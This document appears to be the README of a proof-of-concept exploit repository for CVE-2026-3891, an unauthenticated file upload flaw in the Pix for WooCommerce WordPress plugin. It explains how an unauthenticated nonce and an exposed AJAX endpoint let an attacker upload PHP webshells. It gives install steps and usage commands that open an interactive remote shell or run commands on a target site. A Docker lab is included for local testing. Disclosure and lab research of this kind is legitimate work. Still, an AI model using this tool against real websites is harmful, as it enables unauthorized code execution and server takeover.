joshuavanderpoll/cve-2026-3891Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload (CVE-2026-3891) PoC
CVE-2026-3891 is an unauthenticated arbitrary file upload vulnerability in the Pix for WooCommerce WordPress plugin. The plugin exposes an AJAX endpoint (lkn_pix_for_woocommerce_c6_save_settings) that accepts certificate file uploads without any authentication. A nonce can be obtained unauthenticated via a second exposed endpoint (lkn_pix_for_woocommerce_generate_nonce), allowing a fully unauthenticated attacker to upload arbitrary files — including PHP webshells — directly to the web root.
Affected versions: payment-gateway-pix-for-woocommerce <= 1.5.0
--commandgit clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-3891.py --url <TARGET_URL> [--command <CMD>] [--timeout <SECONDS>] [--useragent <UA>]
Exploit the target and drop into a persistent interactive shell session to run multiple commands.
python3 CVE-2026-3891.py --url 'https://target.com'
Run a single command on the target and print the output, useful for scripting or quick checks.
python3 CVE-2026-3891.py --url 'https://target.com' --command whoami
Single command
A self-contained Docker Compose environment with the vulnerable software for local testing. Check DOCKER.md for more details
cd docker/
docker compose up -d
python3 CVE-2026-3891.py --url 'http://localhost:8080'
This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by this tool.